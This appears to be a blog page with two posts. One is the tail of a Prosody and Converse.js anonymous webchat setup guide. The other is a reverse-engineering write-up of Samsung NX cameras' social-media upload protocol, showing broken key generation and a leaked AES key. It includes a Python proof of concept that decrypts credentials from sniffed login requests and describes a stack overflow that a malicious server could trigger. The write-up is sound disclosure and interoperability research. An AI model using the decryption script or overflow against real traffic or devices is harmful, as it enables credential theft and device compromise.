You can check if the BOSH endpoint works by visiting the /http-bind/ endpoint on your prosody's HTTPS port (5281 by default). The yax.im server is using mod_net_multiplex to allow both XMPP with Direct TLS and HTTPS on port 443, so the resulting URL is https://xmpp.yaxim.org/http-bind/.

Prosody: allowing anonymous logins

We need to add a new anonymous virtual host to the server configuration. By default, anonymous domains are only allowed to connect to services running on the same prosody instance, so they can join rooms on your server, but not connect out to other servers.

Add the new virtualhost at the end of prosody.cfg.lua:

-- add at the end, after the other VirtualHost sections, add:
VirtualHost "anon.yax.im"
    authentication = "anonymous"

    -- to allow file uploads for anonymous users, uncomment the following
    -- two lines (THIS IS NOT RECOMMENDED!)
    -- modules_enabled = { "discoitems"; }
    -- disco_items = { {"upload.yax.im"}; }

This is a new domain that needs to be made accessible to clients, so you also need to create an SRV record and ensure that your TLS certificate covers the new hostname as well, e.g. by updating the parameter list to certbot.

_xmpp-client._tcp.anon.yax.im.  3600 IN SRV 5 1 5222 xmpp.yaxim.org.
_xmpps-client._tcp.anon.yax.im. 3600 IN SRV 5 1  443 xmpp.yaxim.org.

Converse.js webchat

Converse.js is a full XMPP client written in JavaScript. The default mode is to embed Converse into a website where you have a small overlay window with the chat, that you can use while navigating the site.

However, we want to have a full-screen chat under the /chat/ URL and use that to join only one room at a time (either the support room or a room address that was explicitly passed) instead. For this, Converse has the fullscreen and singleton modes that we need to enable.

Furthermore, Converse does not (properly) support parsing room addresses from the URL, so we are using custom JavaScript to identify whether an address was passed as an anchor, and fall back to the support room yaxim@chat.yax.im otherwise.

The following is based on release 10.1.6 of Converse.

1. Download the converse tarball (not converse-headless) and copy the dist folder into your document root.

2. Create a folder chat/ or webchat/ in the document root, where the static HTML will be placed

3. Create an index.html with the following content (minimal example):

<html lang="en">
<head>
    <title>yax.im webchat</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta name="description" content="browser-based access to the xmpp/jabber chatrooms on chat.yax.im" />
    <link type="text/css" rel="stylesheet" media="screen" href="/dist/converse.min.css" />
    <script src="/dist/converse.min.js"></script>
</head>

<body style="width: 100vw; height: 100vh; margin:0">
<div id="conversejs">
</div>
<noscript><h1>This chat only works with JavaScript enabled!</h1></noscript>
<script>
let room = window.location.search || window.location.hash;
room = decodeURIComponent(room.substring(room.indexOf('#') + 1, room.length));
if (!room) {
        room = "yaxim@chat.yax.im";
}
converse.initialize({
   "allow_muc_invitations" : false,
   "authentication" : "anonymous",
   "auto_join_on_invite" : true,
   "auto_join_rooms" : [
      room
   ],
   "auto_login" : true,
   "auto_reconnect" : false,
   "blacklisted_plugins" : [
      "converse-register"
   ],
   "jid" : "anon.yax.im",
   "keepalive" : true,
   "message_carbons" : true,
   "use_emojione" : true,
   "view_mode" : "fullscreen",
   "singleton": true,
   "websocket_url" : "wss://xmpp.yaxim.org:5281/xmpp-websocket"
});
</script>
</div>
</body>
</html>

Back in 2009, Samsung introduced cameras with Wi-Fi that could upload images and videos to your social media account. The cameras talked to an (unencrypted) HTTP endpoint at Samsung's Social Network Services (SNS), probably to quickly adapt to changing upstream APIs without having to deploy new camera firmware.

This post is about reverse engineering the API based on a few old PCAPs and the binary code running on the NX300. We are finding a fractal of spectacular encryption fails created by Samsung, and creating a PoC reference server implementation in python/flask.

Before Samsung discontinued the SNS service in 2021, their faulty implementation allowed a passive attacker to decrypt the users social media credentials (there is no need to decrypt the media, as they are uploaded in the clear). And there were quite some buffer overflows along the way.

Skip right to the encryption fails!

Show me the code!

History

The social media upload feature was introduced with the ST1000 / CL65 model, and soon added to the compact WB150F/WB850F/ST200F and the NX series ILCs with the NX20/NX210/NX1000 introduction.

Ironically, Wi-Fi support was implemented inconsistently over the different models and generations. There is a feature matrix for the NX models with a bit of an overview of the different Wi-Fi modes, and this post only focuses on the (also inconsistently implemented) cloud-based email and social network features.

Some models like the NX mini support sending emails as well as uploading (photos only) to four different social media platforms, other models like the NX30 came with 2GB of free Dropbox storage, while the high-end NX1 and NX500 only supported sending emails through SNS, but no social media. The binary code from the NX300 reveals 16 different platforms, whereas its UI only offers 5, and it allows uploading of photos as well as videos (but only to Facebook and YouTube). In 2015, Samsung left the camera market, and in 2021 they shut down the API servers. However, these cameras are still used in the wild, and some people complained about the termination.

Given that there is no HTTPS, a private or community-driven service could be implemented by using a custom DNS server and redirecting the camera's traffic.

Back then, I took that as a chance to reverse engineer the more straight-forward SNS email API and postponed the more complex looking social media API until now.

Email API

The easy part about the email API was that the camera sent a single HTTP POST request with an XML form containing the sender, recipient and body text, and the pictures attached. To succeed, the API server merely had to return 200 OK. Also the camera I was using (the NX500) didn't have support for any of the other services.

POST /social/columbus/email?DUID=123456789033  HTTP/1.0
Authorization:OAuth oauth_consumer_key="censored",oauth_nonce="censored",oauth_signature="censored=",oauth_signature_method="HmacSHA1",oauth_timestamp="9717886885",oauth_version="1.0"
x-osp-version:v1
User-Agent: sdeClient
Content-Type: multipart/form-data; boundary=---------------------------7d93b9550d4a
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Pragma: no-cache
Accept-Language: ko
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)
Host: www.ospserver.net
Content-Length: 1321295

-----------------------------7d93b9550d4a
content-disposition: form-data; name="message"; fileName="sample.txt"
content-Type: multipart/form-data;

<?xml version="1.0" encoding="UTF-8"?>
<email><sender>Camera@samsungcamera.com</sender><receiverList><receiver>censored@censored.com</receiver></receiverList><title><![CDATA[[Samsung Smart Camera] sent you files.]]></title><body><![CDATA[Sent from Samsung Camera.
language_sh100_utf8]]></body></email>

-----------------------------7d93b9550d4a
content-disposition: form-data; name="binary"; fileName="SAM_4371.JPG"
content-Type: image/jpeg;

<snip>

-----------------------------7d93b9550d4a

The syntax is almost valid, except there is no epilogue (----foo--) after the image, but just a boundary (----foo), so unpatched HTTP servers will not consider this as a valid request.

Social media login

The challenge with the social media posting was that the camera is sending multiple XML requests, and parsing the answer from XML documents in an unknown format, which cannot be obtained from the wire after Samsung terminated the official servers. Another challenge was that the credentials are transmitted in an encrypted way, so the encryption needed to be analyzed (and possibly broken) as well. Here is the first request from the camera when logging into Facebook:

POST http://snsgw.samsungmobile.com/facebook/auth HTTP/1.1

<?xml version="1.0" encoding="UTF-8"?>
<Request Method="login" Timeout="3000" CameraCryptKey="58a4c8161c8aa7b1287bc4934a2d89fa952da1cddc5b8f3d84d3406713a7be05f67862903b8f28f54272657432036b78e695afbe604a6ed69349ced7cf46c3e4ce587e1d56d301c544bdc2d476ac5451ceb217c2d71a2a35ce9ac1b9819e7f09475bbd493ac7700dd2e8a9a7f1ba8c601b247a70095a0b4cc3baa396eaa96648">
<UserName Value="uFK%2Fz%2BkEchpulalnJr1rBw%3D%3D"/>
<Password Value="ob7Ue7q%2BkUSZFffy3%2BVfiQ%3D%3D"/>
<PersistKey Use="true"/>
4p4uaaq422af3"/>
<SessionKey Type="APIF"/>
<CryptSessionKey Use="true" Type="SHA1" Value="//////S3mbZSAQAA/LOitv////9IIgS2UgEAAAAQBLY="/>
<ApplicationKey Value="6a563c3967f147d3adfa454ef913535d0d109ba4b4584914"/>
</Request>

For the other social media platforms, the /facebook/ part of the URL is replaced with the respective service name, except that some apparently use OAuth instead of sending encrypted credentials directly.

Locating the code to reverse-engineer

Of the different models supporting the feature, the Tizen-based NX300 seemed to be the best candidate, given that it's running Linux under the hood. Even though Samsung never provided source code for the camera UI and its components, reverse-engineering an ELF binary running on a Linux host where you are root is a totally different game than trying to pierce a proprietary ARM SoC running an unknown OS from the outside.

When requesting an image upload, the camera starts a dedicated program, smart-wifi-app-nx300. Luckily, the NX300 FOSS dump contains three copies of it, two of which are not stripped:

~/TIZEN/project/NX300/$ find . -type f -name smart-wifi-app-nx300 -exec ls -alh {} \;
-rwxr-xr-x 1  5.2M Oct 16  2013 ./imagedev/usr/bin/smart-wifi-app-nx300
-rwxr-xr-x 1  519K Oct 16  2013 ./image/rootdir/usr/bin/smart-wifi-app-nx300
-rwxr-xr-x 1  5.2M Oct 16  2013 ./image/rootdir_3-5/usr/bin/smart-wifi-app-nx300

Unfortunately, the actual logic is happening in libwifi-sns.so, of which all copies are stripped. There is a header file libwifi-sns/client_predefined.h provided (by accident) as part of the dev image, but it only contains the string values from which the requests are constructed:

#define WEB_XML_LOGIN_REQUEST_PREFIX "<Request Method=\"login\" Timeout=\"3000\" CameraCryptKey=\""
#define WEB_XML_USER_PREFIX          "<UserName Value=\""
#define WEB_XML_PW_PREFIX            "<Password Value=\""
...

The program is also doing extensive debugging through /dev/log_main, including the error messages that we cause when re-creating the API.

We will load both smart-wifi-app-nx300 and libwifi-sns.so in Ghidra and use its pretty good decompiler to get an understanding of the code. The following code snippets are based on the decompiler output, edited for better understanding and brevity (error checks and debug outputs are stripped).

Processing the login credentials

When trying the upload for the first time, the camera will pop up a credentials dialog to get the username and password for the specific service:

Internally, the plain-text credentials and social network name are stored for later processing in a global struct gWeb, the layout of which is not known. The field names and sizes of gWeb fields in the following code blocks are based on correlating debug prints and memset() size arguments, and need to be taken with a grain of salt.

The actual auth request is prepared by the WebLogin function, which will resolve the numeric site ID into the site name (e.g. "facebook" or "kakaostory"), get the appropriate server name ("snsgw.samsungmobile.com" or a regional endpoint like na-snsgw.samsungmobile.com for North America), and call into WebMakeLoginData() to encrypt the login credentials and eventually to create a HTTP POST payload:

bool WebMakeLoginData(char *out_http_request,int site_idx) {
    /* snip quite a bunch of boring code */
    switch (WebCheckSNSGatewayLocation(site_idx)) {
    case /*0*/ LOCATION_EUROPE:
        host = "snsgw.samsungmobile.com"; break;
    case /*1*/ LOCATION_USA:
        host = "na-snsgw.samsungmobile.com"; break;
    case /*2*/ LOCATION_CHINA:
        host = "cn-snsgw.samsungmobile.com"; break;
    case /*3*/ LOCATION_SINGAPORE:
        host = "as-snsgw.samsungmobile.com"; break;
    case 4 /* unsure, maybe staging? */:
        host = "sta.snsgw.samsungmobile.com"; break;
    default: /* Asia? */
        host = "as-snsgw.samsungmobile.com"; break;
    }
    Web_Encrypt_Init();
    Web_Get_Duid(); /* calculate device unique identifier into gWeb.duid */
    Web_Get_Encrypted_Id(); /* encrypt user id into gWeb.enc_id */
    Web_Get_Encrypted_Pw(); /* encrypt password into gWeb.enc_pw */
    Web_Get_Camera_CryptKey(); /* encrypt keyspec into gWeb.encrypted_session_key */
    URLEncode(&encrypted_session_key,gWeb.encrypted_session_key);
    if (site_idx == /*5*/ SITE_SAMSUNGIMAGING || site_idx == /*6*/ SITE_CYWORLD) {
        WebMakeDataWithOAuth(out_http_request);
    } else if (site_idx == /*14*/ SITE_KAKAOSTORY) {
        /* snip HTTP POST with unencrypted credentials to sandbox-auth.kakao.com */
    } else {
        /* snip and postpone HTTP POST with XML payload to snsgw.samsungmobile.com */
    }
}

From there, Web_Encrypt_Init() is called to reset the gWeb fields, to obtain a new (symmetric) encryption key, and to encrypt the application_key:

bool Web_Encrypt_Init(void) {
    char buffer[128];
    memset(gWeb.keyspec,0,64);
    memset(gWeb.encrypted_application_key,0,128);
    memset(gWeb.enc_id,0,64);
    memset(gWeb.enc_pw,0,64);
    memset(gWeb.encrypted_session_key,0,512);
    memset(gWeb.duid,0,64);

    generateKeySpec(&gWeb.keyspec);
    dataEncrypt(&buffer,gWeb.application_key,gWeb.keyspec);
    URLEncode(&gWeb.encrypted_application_key,buffer);
}

We remember the very interesting generateKeySpec() and dataEncrypt() functions for later analysis.

WebMakeLoginData() also calls Web_Get_Encrypted_Id() and Web_Get_Encrypted_Pw() to obtain the encrypted (and base64-encoded) username and password. Those follow the same logic of dataEncrypt() plus URLEncode() to store the encrypted values in respective fields in gWeb as well.

bool Web_Get_Encrypted_Pw() {
    char buffer[128];
    memset(gWeb.enc_pw,0,64);
    dataEncrypt(&buffer,gWeb.password,gWeb.keyspec);
    URLEncode(&gWeb.enc_pw,buffer);
}

Interestingly, we are using a 128-byte intermediate buffer for the encryption result, and URL-encoding it into a 64-byte destination field. However, gWeb.password is only 32 bytes, so we are hopefully safe here. Nevertheless, there are no range checks in the code.

Finally, it calls Web_Get_Camera_CryptKey() to RSA-encrypt the generated keyspec and to store it in gWeb.encrypted_session_key. The actual encryption is done by encryptSessionKey(&gWeb.encrypted_session_key,gWeb.keyspec) which we should also look into.

Generating the secret key: generateKeySpec()

That function is as straight-forward as can be, it requests two blocks of random data into a 32-byte array and returns the base-64 encoded result:

int generateKeySpec(char **out_keyspec) {
    char rnd_buffer[32];
    int result;
    char *rnd1 = _secureRandom(&result);
    char *rnd2 = _secureRandom(&result);
    memcpy(rnd_buffer, rnd1, 16);
    memcpy(rnd_buffer+16, rnd2, 16);
    char *b64_buf = String_base64Encode(rnd_buffer,32,&result);
    *out_keyspec = b64_buf;
}

(In)secure random number generation: _secureRandom()

It's still worth looking into the source of randomness that we are using, which hopefully should be /dev/random or at least /dev/urandom, even on an ancient Linux system:

char *_secureRandom(int *result)
{
    srand(time(0));
    char *target = String_new(20,result);
    String_format(target,20,"%d",rand());
    target = _sha1_byte(target,result);
    return target;
}

WAIT WHAT?! Say that again, slowly! You are initializing the libc pseudo-random number generator with the current time, with one-second granularity, then getting a "random" number from it somewhere between 0 and RAND_MAX = 2147483647, then printing it into a string and calculating a 20-byte SHA1 sum of it?!?!?!

Apparently, the Samsung engineers never heard of the Debian OpenSSL random number generator, or they considered imitating it a good idea?

The entropy of this function depends only on how badly the user maintains the camera's clock, and can be expected to be about six bits (you can only set minutes, not seconds, in the camera), instead of the 128 bits required.

Calling this function twice in a row will almost always produce the same insecure block of data.

The function name _sha1_byte() is confusing as well, why is it a singular byte, and why is there no length parameter?

char *_sha1_byte(char *buffer, int *result) {
    int len = strlen(buffer);
    char *shabuf = malloc(20);
    int hash_len = 20;
    memset(shabuf,0,hash_len);
    SecCrHash(shabuf,&hash_len);
    return shabuf;

That looks plausible, right? We just assume that buffer is a NUL-terminated string (the string we pass from _secureRandom() is one), and then we... don't pass it into the SecCrHash() function? We only pass the virgin 20-byte target array to write the hash into? The hash of what?

int SecCrHash(void *dst, int *out_len) {
    char buf [20];
    *out_len = 20;
    memcpy(dst, buf, *out_len);
    return 0;
}

It turns out, the SecCrHash function (secure cryptographic hash?) is not hashing anything, and it's not processing any input, it's just copying 20 bytes of uninitialized data from the stack to the destination buffer. So instead of returning an obfuscated timestamp, we are returning some (even more deterministic) data that previous function calls worked with.

Well, from an attacker point of view, this actually makes cracking the key (slightly) harder, as we can't just fuzz around the current time, we need to actually get an understanding of the calls happening before that and see what kind of data they can leave on the stack.

SPOILER: No, we don't have to. Samsung helpfully leaked the symmetric encryption key for us. But let's still finish this arc and see what else we can find. Skip to the encryption key leak.

Encrypting values: dataEncrypt()

The secure key material in gWeb.keyspec is passed to dataEncrypt() to actually encrypt strings:

int dataEncrypt(char **out_enc_b64, char *message, char *key_b64) {
    int result;
    char *keyspec;
    String_base64Decode(key_b64,&keyspec,&result);
    char key[16];
    char iv[16];
    memcpy(key, keyspec, 16);
    memcpy(iv, keyspec+16, 16);
    return _aesEncrypt(message, key, iv, &result);
}

char *_aesEncrypt(char *message, char *key, char *iv, int *result) {
    int bufsize = (strlen(message) + 15) & ~15; /* round up to block size */
    char *enc_data = malloc(bufsize);
    SecCrEncryptBlock(&enc_data,&bufsize,message,bufsize,key,16,iv,16);
    char *ret_buf = String_base64Encode(enc_data,bufsize,result);
    free(enc_data);
    return ret_buf;
}

The _aesEncrypt() function is calling SecCrEncryptBlock() and base-64-encoding the result. From SecCrEncryptBlock() we have calls into NAT_CipherInit() and NAT_CipherUpdate() that are initializing a cipher context, copying key material, and passing all calls through function pointers in the cipher context, but it all boils down to doing standard AES-CBC, with the first half of keyspec used as the encryption key, and the second half as the IV, and the (initial) IV being the same for all dataEncrypt() calls.

The prefixes SecCr and NAT imply that some crypto library is in use, but there are no obvious results on google or github, and the function names are mostly self-explanatory.

Encrypting the secret key: encryptSessionKey()

This function will decode the base64-encoded 32-byte keyspec, and encrypt it with a hard-coded RSA key:

int encryptSessionKey(char **out_rsa_enc,char *keyspec)

{
  int result;
  char *keyspec_raw;
  int keyspec_raw_len = String_base64Decode(keyspec,&keyspec_raw,&result);
  char *dst = _rsaEncrypt(keyspec_raw,keyspec_raw_len,
        "0x8ae4efdc724da51da5a5a023357ea25799144b1e6efbe8506fed1ef12abe7d3c11995f15
        dd5bf20f46741fa7c269c7f4dc5774ce6be8fc09635fe12c9a5b4104a890062b9987a6b6d69
        c85cf60e619674a0b48130bb63f4cf7995da9f797e2236a293ebc66ee3143c221b2ddf239b4
        de39466f768a6da7b11eb7f4d16387b4d7",
        "0x10001",&result);
  *out_rsa_enc = dst;
}

The _rsaEncrypt() function is using the BigDigits multiple-precision arithmetic library to add PCKS#1 v1.5 padding to the keyspec, encrypt it with the supplied m and e values, and return the encrypted value. The result is a long hex number string like the one we can see in the <Request/> PCAP above.

Completing the HTTP POST: WebMakeLoginData() contd.

Now that we have all the cryptographic ingredients together, we can return to actually crafting the HTTP request.

There are three different code paths taken by WebMakeLoginData(). One into WebMakeDataWithOAuth() for the samsungimaging and cyworld sites, one creating a x-www-form-urlencoded HTTP POST to sandbox-auth.kakao.com, and one creating the XML <Request/> we've seen in the packet trace for all other social networks. Given the obscurity of the first three networks, we'll focus on the last code path:

WebString_Add_fmt(body,"%s%s","<?xml version=\"1.0\" encoding=\"UTF-8\"?>","\r\n");
WebString_Add_fmt(body,"%s%s%s",
                "<Request Method=\"login\" Timeout=\"3000\" CameraCryptKey=\"",
                encrypted_session_key,"\">\r\n");
if (site_idx != /*34*/ SITE_SKYDRIVE) {
    WebString_Add_fmt(body,"%s%s%s","<UserName Value=\"",gWeb.enc_id,"\"/>\r\n");
    WebString_Add_fmt(body,"%s%s%s","<Password Value=\"",gWeb.enc_pw,"\"/>\r\n");
}
WebString_Add_fmt(body,"%s%s%s","<PersistKey Use=\"true\"/>\r\n",duid,"\"/>\r\n");
WebString_Add_fmt(body,"%s%s","<SessionKey Type=\"APIF\"/>","\r\n");
WebString_Add_fmt(body,"%s%s%s","<CryptSessionKey Use=\"true\" Type=\"SHA1\" Value=\"",
                gWeb.keyspec,"\"/>\r\n");
WebString_Add_fmt(body,"%s%s%s","<ApplicationKey Value=\"",gWeb.application_key,
                "\"/>\r\n");
WebString_Add_fmt(body,"%s%s","</Request>","\r\n");
body_len = strlen(body);
WebString_Add_fmt(header,"%s%s%s%s","POST /",gWeb.site,"/auth HTTP/1.1","\r\n");
WebString_Add_fmt(header,"%s%s%s","Host: ",host,"\r\n");
WebString_Add_fmt(header,"%s%s","Content-Type: text/xml;charset=utf-8","\r\n");
WebString_Add_fmt(header,"%s%s%s","User-Agent: ","DI-NX300","\r\n");
WebString_Add_fmt(header,"%s%d%s","Content-Length: ",body_len,"\r\n\r\n");
WebAddString(out_http_request, header);
WebAddString(out_http_request, body);

Okay, so generating XML via a fancy sprintf() has been frowned upon for a long time. However, if done correctly, and if there is no attacker-controlled input with escape characters, this can be an acceptable approach.

In our case, the duid is surrounded by closing tags due to an obvious programmer error, but beyond that, all parameters are properly controlled by encoding them in hex, in base64, or in URL-encoded base64.

We are transmitting the RSA-encrypted session key (as CameraCryptKey), the AES-encrypted username and password (except when uploading to SkyDrive), the duid (outside of a valid XML element), the application_key that we encrypted earlier (but we are sending the unencrypted variable) and the keyspec in the CryptSessionKey element.

The keyspec? Isn't that the secret AES key? Well yes it is. All that RSA code turns out to be a red herring, we get the encryption key on a silver plate!

Decrypting the sniffed login credentials

Can it be that easy? Here's a minimal proof-of-concept in python:

#!/usr/bin/env python3

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from base64 import b64decode
from urllib.parse import unquote
import xml.etree.ElementTree as ET
import sys

def decrypt_string(key, s):
    d = Cipher(algorithms.AES(key[0:16]), modes.CBC(key[16:])).decryptor()
    plaintext = d.update(s)
    return plaintext.decode('utf-8').rstrip('\0')

def decrypt_credentials(xml):
    x_csk = xml.find("CryptSessionKey")
    x_user = xml.find("UserName")
    x_pw = xml.find("Password")

    key = b64decode(x_csk.attrib['Value'])
    enc_user = b64decode(unquote(x_user.attrib['Value']))
    enc_pw = b64decode(unquote(x_pw.attrib['Value']))

    return (key, decrypt_string(key, enc_user), decrypt_string(key, enc_pw))

def decrypt_file(fn):
    key, user, pw = decrypt_credentials(ET.parse(fn).getroot())
    print('User:', user, 'Password:', pw)

for fn in sys.argv[1:]:
    decrypt_file(fn)

If we pass the earlier <Request/> XML to this script, we get this:

User: x Password: z

Looks like somebody couldn't be bothered to touch-tap-type long values.

Now we also can see what kind of garbage stack data is used as the encryption keys.

On the NX300, the results confirm our analysis, this looks very much like stack garbage, with minor variations between _secureRandom() calls:

00000000: ffff ffff f407 a5b6 5201 0000 fc03 aeb6  ........R.......
00000010: ffff ffff 4872 0fb6 5201 0000 0060 0fb6  ....Hr..R....`..

00000000: ffff ffff f487 9ab6 5201 0000 fc83 a3b6  ........R.......
00000010: ffff ffff 48f2 04b6 5201 0000 00e0 04b6  ....H...R.......

00000000: ffff ffff 48a2 04b6 5201 0000 0090 04b6  ....H...R.......
00000010: ffff ffff 48a2 04b6 5201 0000 0090 04b6  ....H...R.......

00000000: ffff ffff f4a7 9ab6 5201 0000 fca3 a3b6  ........R.......
00000010: ffff ffff 4812 05b6 5201 0000 0000 05b6  ....H...R.......

00000000: ffff ffff f4b7 99b6 5201 0000 fcb3 a2b6  ........R.......
00000010: ffff ffff 4822 04b6 5201 0000 0010 04b6  ....H"..R.......

00000000: ffff ffff 48f2 04b6 5201 0000 00e0 04b6  ....H...R.......
00000010: ffff ffff 48f2 04b6 5201 0000 00e0 04b6  ....H...R.......

On the NX mini, the data looks much more random, but consistently key==iv - suggesting that it is actually a sort of sha1(rand()):

00000000: 00e0 fdcd e5ae ea50 a359 8204 03da f992  .......P.Y......
00000010: 00e0 fdcd e5ae ea50 a359 8204 03da f992  .......P.Y......

00000000: 0924 ea0e 9a5c e6ef f26f 75a9 3e97 ced7  .$...\...ou.>...
00000010: 0924 ea0e 9a5c e6ef f26f 75a9 3e97 ced7  .$...\...ou.>...

00000000: 98b8 d78f 5ccc 89a9 2c0f 0736 d5df f412  ....\...,..6....
00000010: 98b8 d78f 5ccc 89a9 2c0f 0736 d5df f412  ....\...,..6....

00000000: d1df 767e eb51 bd40 96d0 3c89 1524 a61c  ..v~.Q.@..<..$..
00000010: d1df 767e eb51 bd40 96d0 3c89 1524 a61c  ..v~.Q.@..<..$..

00000000: d757 4c46 d96d 262f a986 3587 7d29 7429  .WLF.m&/..5.})t)
00000010: d757 4c46 d96d 262f a986 3587 7d29 7429  .WLF.m&/..5.})t)

00000000: dd56 9b41 e2f9 ac11 12b7 1b8c af56 187a  .V.A.........V.z
00000010: dd56 9b41 e2f9 ac11 12b7 1b8c af56 187a  .V.A.........V.z

Social media login response

The HTTP POST request is passed to WebOperateLogin() which will create a TCP socket to port 80 of the target host, send the request and receive the response into a 2KB buffer:

bool WebOperateLogin(int sock_idx,char *buf,ulong site_idx) {
    int buflen = strlen(buf);
    SendTCPSocket(sock_idx,buf,buflen,0,false,0,0);
    rx_buf = malloc(2048);
    int rx_size = ReceiveTCPProcess(sock_idx,rx_buf,300);
    bool login_result = WebCheckLogin(rx_buf,site_idx);
}

The TCP process (actually just a pthread) will clear the buffer and read up to 2047 bytes, ensuring a NUL-terminated result. The response is then "parsed" to extract success / failure flags.

Parsing the login response: WebCheckLogin()

The HTTP response (header plus body) is then searched for certain "XML" "fields" to parse out relevant data:

bool WebCheckLogin(char *buf,int site_idx) {
    char value[512];
    memset(value,0,512);
    if (GetXmlString(buf,"ErrCode",value)) {
        strcpy(gWeb.ErrCode,value); /* gWeb.ErrCode is 16 bytes */
        if (!GetXmlString(buf, "ErrSubCode",value))
            return false;
        strcpy(gWeb.SubErrCode,value); /* gWeb.SubErrCode is also 16 bytes */
        return false;
    }
    if (!GetXmlString(buf,"Response SessionKey",value))
        return false;
    strcpy(gWeb.response_session_key,value); /* ... 64 bytes */
    memset(value,0,512);
    if (!GetXmlString(buf,"PersistKey Value",value))
        return false;
    strcpy(gWeb.persist_key,value); /* ... 64 bytes */
    memset(value,0,512);
    if (!GetXmlString(buf,"CryptSessionKey Value",value))
        return false;
    memset(gWeb.keyspec,0,64);
    strcpy(gWeb.keyspec,value); /* ... 64 bytes */
    if (site_idx == /*34*/ SITE_SKYDRIVE) {
        strcpy(gWeb.LoginPeopleID, "owner");
    } else {
        memset(value,0,512);
        if (!GetXmlString(buf,"LoginPeopleID",value)) {
            return false;
        }
    }
    strcpy(gWeb.LoginPeopleID,value); /* ... 128 bytes */
    if (site_idx == /*34*/ SITE_SKYDRIVE) {
        memset(value,0,512);
        if (!GetXmlString(buf,"OAuth URL",value))
            return false;
        ReplaceString(value,"&","&",skydriveURL);
    }
    return true;
}

The GetXmlString() function is actually quite a euphemism. It does not actually parse XML. Instead, it's searching for the first verbatim occurence of the passed field name, including the verbatim whitespace, checking that it's followed by a colon or an equal sign, and then copying everything from the quotes behind that into out_value. It does not check the buffer bounds, and doesn't ensure NUL-termination, so the caller has to clear the buffer each time (which it doesn't do consistently):

bool GetXmlString(char *xml,char *field,char *out_value) {
    char *position = strstr(xml, field);
    if (!position)
        return false;
    int field_len = strlen(field);
    char *field_end = position + field_len;
    /* snip some decompile that _probably_ checks for a '="' or ':"' postfix at field_end */
    char *value_begin = position + fieldlen + 2;
    char *value_end = strstr(value_begin,"\"");
    if (!value_end)
        return false;
    memcpy(out_value, value_begin, value_end - value_begin);
    return true;

Given that the XML buffer is 2047 bytes controlled by the attacker server operator, and value is a 512-byte buffer on the stack, this calls for some happy smashing!

The ErrCode and ErrSubCode are passed to the UI application, and probably processed according to some look-up tables / error code tables, which are subject to reverse engineering by somebody else. Valid error codes seem to be: 4019 ("invalid grant" from kakaostory), 8001, 9001, 9104.

Logging out

The auth endpoint is also used for logging out from the camera (this feature is well-hidden, you need to switch the camera to "Wi-Fi" mode, enter the respective social network, and then press the 🗑 trash-bin key):

<Request Method="logout" SessionKey="pmlyFu8MJfAVs8ijyMli" CryptKey="ca02890e42c48943acdba4e782f8ac1f20caa249">
</Request>

Writing a minimal auth handler

For the positive case, a few elements need to be present in the response XML. A valid example for that is response-login.xml:

<Response SessionKey="{{ sessionkey }}">
<PersistKey Value="{{ persistkey }}"/>
<CryptSessionKey Value="{{ cryptsessionkey }}"/>
<LoginPeopleID="{{ screenname }}"/>
<OAuth URL="http://snsgw.samsungmobile.com/oauth"/>
</Response>

The camera will persist the SessionKey value and pass it to later requests. Also it will remember the user as "logged in" and skip the /auth/ endpoint in the future. It is unclear yet how to reset that state from the API side to allow a new login (maybe it needs the right ErrCode value?)

A negative response would go along these lines:

<Response ErrCode="{{ errcode }}" ErrSubCode="{{ errsubcode }}" />

And here is the respective Flask handler PoC:

@app.route('/<string:site>/auth',methods = ['POST'])
def auth(site):
    xml = ET.fromstring(request.get_data())
    method = xml.attrib["Method"]
    if method == 'logout':
        return "Logged out for real!"
    keyspec, user, password = decrypt_credentials(xml)
    # TODO: check credentials
    return render_template('response-login.xml',
        sessionkey=mangle_address(user),
        screenname="Samsung NX Lover")

Uploading pictures

After a successful login, the camera will actually start uploading files with WebUploadImage(). For each file, either the /facebook/photo or the /facebook/video endpoint is called with another XML request, followed by a HTTP PUT of the actual content.

bool WebUploadImage(int ui_ctx,int site_idx,int picType) {
    if (site_idx == /*14*/ SITE_KAKAOSTORY) {
        /* snip very long block handling kakaostory */
        return true;
    }
    /* iterate over all files selected for upload */
    for (int i = 0; i < gWeb.selected_count; i++) {
        gWeb.file_path = upload_file_names[i];
        gWeb.index = i+1;
        char *buf = malloc(2048);
        WebMakeUploadingMetaData(buf,site_idx);
        WebOperateMetaDataUpload(site_idx,0,buf);
        WebOperateUpload(0,picType);
    }
    return true;
}

Upload request: WebOperateMetaDataUpload()

The image matadata is prepared by WebMakeUploadingMetaData() and sent by WebOperateMetaDataUpload(). The (user-editable) facebook folder name is properly XML-escaped:

bool WebMakeUploadingMetaData(char *out_http_request,int site_idx) {
    /* snip hostname selection similar to WebMakeLoginData */
    if (strstr(gWeb.file_path, "JPG") != NULL) {
        WebParseFileName(gWeb.file_path,gWeb.file_name);
        /* "authenticate" the request by SHA1'ing some static secrets */
        char header_for_sig[256];
        sprintf(header_for_sig,"/%s/photo.upload*%s#%s:%s",gWeb.site,
            gWeb.persist_key,gWeb.response_session_key,gWeb.keyspec);
        char *crypt_key = sha1str(header_for_sig);
        body = WebMalloc(2048);
        WebString_Add_fmt(body,"%s%s","<?xml version=\"1.0\" encoding=\"UTF-8\"?>","\r\n");
        WebString_Add_fmt(body,"%s%s%s%s%s",
                "<Request Method=\"upload\" Timeout=\"3000\" SessionKey=\"",
                gWeb.response_session_key,"\" CryptKey=\"",crypt_key,"\">\r\n");
        WebString_Add_fmt(body,"%s%s","<Photo>","\r\n");
        if (site_idx == /*1*/ SITE_FACEBOOK) {
            char *folder = xml_escape(gWeb.facebook_folder);
            WebString_Add_fmt(body,"%s%s%s","<Album ID=\"\" Name=\"",folder,"\"/>\r\n");
        } else
            WebString_Add_fmt(body,"%s%s%s","<Album ID=\"\" Name=\"","Samsung Smart Camera","\"/>\r\n");
        WebString_Add_fmt(body,"%s%s%s%s","<File Name=\"",gWeb.file_name,"\"/>","\r\n")
        if (site_idx != /*9*/ SITE_WEIBO) {
            WebString_Add_fmt(body,"%s%s%s%s","<Content><![CDATA[",gWeb.description,"]\]></Content>","\r\n");
        }
